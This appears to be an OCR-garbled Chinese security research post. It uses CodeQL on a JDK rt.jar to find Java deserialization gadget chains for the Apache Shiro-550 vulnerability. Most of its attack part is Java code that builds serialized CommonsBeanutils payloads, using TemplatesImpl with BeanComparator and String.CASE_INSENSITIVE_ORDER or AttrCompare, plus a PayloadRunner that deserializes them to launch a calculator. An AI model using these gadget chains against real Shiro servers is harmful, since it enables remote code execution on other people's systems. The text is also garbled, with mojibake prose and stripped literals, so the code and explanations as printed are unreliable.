CodeQL7EShiro55091 ARzl

EAE

e 2022/09/27

{4t CommonsBeanutils_JDK_AttrCompare {3

0x00 BIS

RITEEHMMIE Shiro WAHSLIFEMFIM, Cx—TCodeQLEShiro550 LRI A,

0x01 H1t
AXBENBUATHRE:
e FJA Docker ZFZE CodeqQL

e % Shiro550 HEI&EMAAM Gadget CommonsBeanutilsiShiro
o YN{IFIA CodeQL ZiZ#E3E CommonsBeanutilslShiro K Gadget Chain

0x02 FRHESH
EEREOFENTA

e CodeqQL
o https://github.com/j3ssie/codeql-docker
e extractor-java

o https://github.com/waderwu/extractor-java
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E¥ root@73e6d1195700: ~/extrac X +

root@73e6d1195700:~/extractor-java-master# codeql
Usage: codeql <command> <argument>...
Create and query CodeQL databases, or work with the QL language.

GitHub makes this program freely available for the analysis of open-source software and certain other uses, but it is
not itself free software. Type codeql --license to see the license terms.

--license Show the license terms for the CodeQL toolchain.

Common options:

-h, --help Show this help text.

-v, --verbose Incrementally increase the number of progress messages printed.

-q, --quiet Incrementally decrease the number of progress messages printed.
Some advanced options have been hidden; try --help -v for a fuller view.
Commands:

query Compile and execute QL code.

bgrs Get information from .bgrs files.

database Create, analyze and process CodeQL databases.

dataset Work with raw QL datasets.

test Execute QL unit tests.

resolve Helper commands to resolve disk locations etc.

execute Low-level commands that need special JVM options.

version Show the version of the CodeQL toolchain.

generate Commands that generate useful output.

github Commands useful for interacting with the GitHub API through CodeQL.

pack Commands to manage QL packages.
root@73e6d1195700:~/extractor-java-master# ls
README.md class2java.py run.py
root@73e6d1195700:~/extractor-java-master#

HFOWEY Jar

e jdk8ul2l rt.jar

docker cp F:\workspace\static_analysis\lib\jdk8u21\rt.jar 73e:/root/src/jdk8u21/rt.jar

unzip /root/src/jdk8u2l/rt.jar /root/src/jdk8u21/rt_jar

python /root/extractor-java-master/class2java.py /root/src/jdk8ul21/rt_jar/
python /root/extractor-java-master/run.py jdk8ul2l-rt-cqdb /root/src/jdk8ul2l/rt_jar/

docker cp 73e:/root/jdk8ul2l-rt-cqdb
F:\workspace\static_analysis\codeql\code\local\databases\

CODEQL
“ DATABASES
cb183-codeql-db java
V/ jdk8u121-rt-cqdb jav
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CommonsBeanutilsl
fF Shiro550 RENALMWFA, KYEBNNIZE
e CommonsBeanutilsl - ysoserial

HrxF BeanComparator B{ERZM#EIF Commons-Collections #Y,

final BeanComparator comparator = new BeanComparator( );

BeanComparator &A%, E8BEREN Comparator B, SEAIAMER ComparableComparator

BeanComparator( property,Comparator comparator)-{
.setProperty(property);

(comparator== ){
.comparator=comparator;

.{

.comparator=ComparableComparator.getInstance();

X2 BeanComparator("lowestSetBit") ;R H#EE comparator, MIE else o, Al
ComparableComparator, {EZ7AKihi%&%E Commons-Collections K#EiAT, NE

BeanComparator.class

Decompiled .class file, bytecode version: 47.0 (Java

Cannot find declaration to go to

XAER T AERCBLATREFM, Ml S% java.lang.NoClassDefFoundError Z0E

CommonsBeanutils_JDK_AttrCompare

Q: XERFNEE ComparableComparator SEIEFE, AT UK —MELHNERKEEIR?
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https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsBeanutils1.java

CommonsBeanutils1Shiro
CommonsBeanutilslShiro 2B p4d {(JavaZ2ig2ik) RIIPM—5%F CC k¥ Shiro REIICFIERE.

e CommonsBeanutils1Shiro - phithOGn

Q: AEHE— N FEERNENE?

A: 2%t ComparableComparator HAMLEIFE, ASREXESFELEAN,
e org.apache.commons.collections.comparators.ComparableComparator

java.io.Serializable;
java.util.Comparator;

ComparableComparator Comparator, Serializable {

serialVersionUID = - ;
ComparableComparator instance = ComparableComparator();

HHERIBAO T
o MPRIEIHRF public
o privateth®AILA, FAKREIFREIE
o ST Comparator &N
o LT Serializable #0O
pH BT XLAFIMEAIDEAE]T CaseInsensitiveComparator

e java.lang.String.CaselnsensitiveComparator
Comparator< > CASE_INSENSITIVE_ORDER=
CaseInsensitiveComparator();

CaselInsensitiveComparator
Comparator< >, java.io.Serializable {

serialVersionUID =

AJIXi@id String.CASE_INSENSITIVE_ORDER 3XHYZ| CaseInsensitiveComparator 3%, ER{E
ComparableComparator, BEl{&2X CommonsBeanutilsl Hfy

BeanComparator comparator= BeanComparator(

BeanComparator comparator=
BeanComparator( , .CASE_INSENSITIVE_ORDER);

Xt T CCREIR—5Shiro 5L AHBE - CommonsBeanutilsiShiro,


https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html#shiro

SEEAE
CommonsBeanutils_Shiro {

main ( [1 args) Exception {
getPayload(Calc. N\ ENEIODE
Path path = Paths.get( );
ObjectInputStream ois = ObjectInputStream(Files.newInputStream(path));
ois.readObject();

getPayload( class_name) Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(class_name);
TemplatesImpl templates = TemplatesImpl();
setFieldValue(templates, , );
setFieldValue(templates, [1[]{clazz.toBytecode()});
setFieldValue(templates, TransformerFactoryImpl());

BeanComparator comparator = BeanComparator(
.CASE_INSENSITIVE_ORDER);
PriorityQueue< > queue PriorityQueue< >(2, comparator);

queue.add( );
queue.add( );

setFieldValue(queue, [1{templates, templates});
setFieldValue(comparator, );

Path path = Paths.get( );
ObjectOutputStream oos = ObjectOutputStream(Files.newOutputStream(path));
oos.writeObject(queue);

setFieldValue( obj, fieldName, value)
Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible( );
field.set(obj, value);




InputStream(Files.
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= Standard =

Object[]{templates, templates})
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1. THLIT Comparator IFOME
import java

class ExpectClass extends ClassOrInterfaced

ExpectClass(){
this.getName() = "Comparator"




predicate isExpectClass(Class clazz){
clazz.getASourceSupertype() instanceof ExpectClass

from Class clazz
where isExpectClass(clazz)
select clazz

BEWSRMNE

= cb_debuggl U X

CGdE\’]]'CJSYCm—que.ﬂ'esija\’a > £ cb_debug.ql > {} cb_debug _ -~ cb_debug.ql on jdk8u121-rt-cqdb - finished in 0 seconds (76 results)
java [9/25/2022, 10:34:24 PM]
p
ss ExpectClass 5 ClassOrInterface{
. . #select v 76 results
ExpectClass()

s.getName() = "Comparator”

on: isExpectClass
iseExpectClass(Class clazz){
clazz.getASourceSupertype() ExpectCla

}

Class clazz
isExpectClass(clazz)
clazz

© ® N O v A W N =

B3 76 1K, BEMFHRMHEEBREGR,

2. EGRFEARSIT Comparator # Serializable 1ZEORYZE

import java

class ExpectClass extends ClassOrInterfaced
ExpectClass(){
this.getName() = "Comparator"

predicate isExpectClass(Class clazz){
clazz.getASourceSupertype() instanceof ExpectClass
and clazz.getASourceSupertype() instanceof TypeSerializable

from Class clazz
where isExpectClass(clazz)
select clazz

EERME




= cb_debug.ql U X

codeq|-custom-queries-java > = cb_debug.ql > {}cb debug > @ isExpectClass cb_debug.ql on jdk8u121-rt-cqdb - finished in 0 seconds (7 results)
java [9/25/2022, 10:40:12 PM]

ss ExpectClass ClassorInterface{
Aiick Evaluation: ExbectClace #select v
ExpectClass()

.getName() = "Comparator"

Eval on: isExpectClass
isexpectClass(Class clazz)(
clazz.getASourceSupertype() ExpectClass
clazz.getASourceSupertype() S5 TypeSerializ

Class clazz
isExpectClass(clazz)
clazz
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com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
com.sun.org.apache.xml.internal.security.cl4n.helper.AttrCompare;
javassist.ClassPool;

javassist.CtClass;

org.apache.commons.beanutils.BeanComparator;

java.io.ByteArrayOutputStream;
java.io.0bjectOutputStream;
java.lang.reflect.Field;
java.util.PriorityQueue;

CommonsBeanutils_JDK_AttrCompare {
setFieldValue( obj, fieldName, value)
Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible( );
field.set(obj, value);

getFieldValue( obj, fieldName)
NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible( );
System.out.println(field.get(obj));
System.out.println(field.get(obj).getClass().getName());




[1 getPayload( [1 clazzBytes) Exception {
TemplatesImpl templates = TemplatesImpl();
setFieldValue(templates, , [1[1{clazzBytes});
setFieldValue(templates, );
setFieldValue(templates, TransformerFactoryImpl());

BeanComparator comparator = BeanComparator(
AttrCompare());

PriorityQueue< > queue = PriorityQueue<();
setFieldValue(queue, , comparator);
setFieldValue(queue, , 2);
setFieldValue(queue, [1{templates, templates});

ByteArrayOutputStream barr = ByteArrayOutputStream();
ObjectOutputStream oos = ObjectOutputStream(barr);
oos.writeObject(queue);

oos.close();

barr.toByteArray();

e PayloadRunner.java

javassist.ClassPool;
javassist.CtClass;

java.io.ByteArrayInputStream;
java.io.I0Exception;
java.io.InputStream;
java.io.0bjectInputStream;

PayloadRunner {

main( [1 args) Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Calc. .getName());
[1 payload =
CommonsBeanutils_JDK_AttrCompare_debug.getPayload(clazz.toBytecode());
deserialize(payload);

deserialize( [1 serialized) I0Exception,
ClassNotFoundException {
ByteArrayInputStream in = ByteArrayInputStream(serialized);
deserialize(in);




deserialize( InputStream in)
ClassNotFoundException, IOException {
ObjectInputStream objIn = ObjectInputStream(in);

objIn.readObject();

MR

ayloadRunnerjay
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PayloadRunner {

main(

ad(clazz.

{
i

Object deserialize( InputStream in) >lassNot xception, IOException {
ObjectInputStream objIn ObjectInputStream(in)

jIn.read0
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